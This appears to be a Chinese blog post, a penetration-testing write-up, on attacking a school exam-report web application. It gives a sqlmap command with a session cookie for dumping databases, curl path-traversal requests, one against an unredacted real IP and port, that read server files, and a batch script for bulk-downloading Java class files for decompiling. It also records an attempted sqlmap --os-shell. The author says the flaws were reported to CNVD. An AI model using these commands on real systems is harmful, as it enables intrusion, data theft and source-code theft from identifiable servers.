https://monte.us.kg/posts/8c29dab3

中华人民共和国网络安全法

第十二条第二款

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。

第四十四条

任何个人和组织不得窃取或者以其他非法方式获取个人信息,不得非法出售或者非法向他人提供个人信息。

第六十四条第二款

违反本法第四十四条规定,窃取或者以其他非法方式获取、非法出告或者非法向他人提供个人信息,尚不构成犯罪的,由公安机关没收违法所得,并处违法所得一倍以上十倍以下罚款,没有违法所得的,处一百万元以下罚款。

本文章仅供学习交流

在本文章开始编写前,就已经提交了这些漏洞。

SQL注入

用xray扫一下

直接报出了SQL注入漏洞

给sqlmap扫一下,提示302跳转到登录页面,再加上cookie试试:(*号屏蔽敏感内容)

1
python sqlmap.py -cookie "cookie_****=****" -u "http://***.com/***/jsp/main/ajaxAction!getReportClass.action?subject=132&exam=20&school=1&grade=7&type=0&isHistory=F&showSubjectL=F" -o -dbs

-o用来优化性能

-dbs查询数据库

这时候就不会302了,成功!

但是,这个数据库读取的效率太慢了,我读了一整天也没导出一个数据库

任意文件读取漏洞

与此同时,通过抓包请求,我又注意到了一个任意文件读取漏洞

1
http://1**.**.*.8:1***9/****/imageAction!getImageByFullUrl.action?fullImgUrl=C:\img\1.png

通过路径具有盘符,可知这是一个Windows系统

把路径替换成其他的试试?

1
2
3
4
5
6
7
8
9
curl --location --request GET 'http://****.com:**/**/imageAction!getImageByFullUrl.action?fullImgUrl=C:/windows/notepad.exe' \
--header 'Accept: */*' \
--header 'Host: ****' \
--header 'Connection: keep-alive'

MZ?    ? @ ? ? ???L?This program cannot be run in DOS mode.
$ 7?ws焧$s$s$z$m焧$聎%p焧$聀%`焧$聁%w焧$聈%n焧$s$f瀟$聕%i焧$聥$r焧$聉%r焧$Richs焧$ PE d? j槈W ? "
 ? N 袊  @  
省略

再替换成相对路径?

1
2
3
4
5
6
7
8
9
10
curl --location --request GET 'http://139.9.45.134:19999/edei/imageAction!getImageByFullUrl.action?fullImgUrl=../../index.jsp' \
--header 'Accept: */*' \
--header 'Host: 139.9.45.134:19999' \
--header 'Connection: keep-alive'


<%@ page contentType="text/html; charset=utf-8" language="java" import="java.sql.*"%>
<%@ page contentType="text/html; charset=utf-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
省略

通过网页的错误报告,可知该网站是由Apache Tomcat搭建的

通过学习Apache Tomcat的文件分布,我编写了这个source.bat文件用来一键获取源码

1
2
3
@echo off
SET INPUT_PARAM=%1
curl -o C:\Users\Administrator\Documents\WEB-INF\classes\%INPUT_PARAM:.=\%.class --create-dirs http://***.com:***/****/imageAction!getImageByFullUrl.action?fullImgUrl=../../WEB-INF/classes/%INPUT_PARAM:.=/%.class

接着就可以通过

1
source com.***.util.app.AppFilter.doFilter

取得class文件

再放入jadx工具中反编译

代码审计嘛。。

审到了log文件

得到了网站的绝对路径,谢谢你胡桃hutool

再回到sqlmap中渗透(参数–os-shell)输入绝对路径,发现不行,一番查找之下发现mysql根本没开secure_file,草率了

最后实在没希望了,就把这些漏洞提交了。

后记

给了CNVD,但是很遗憾,没有得到证书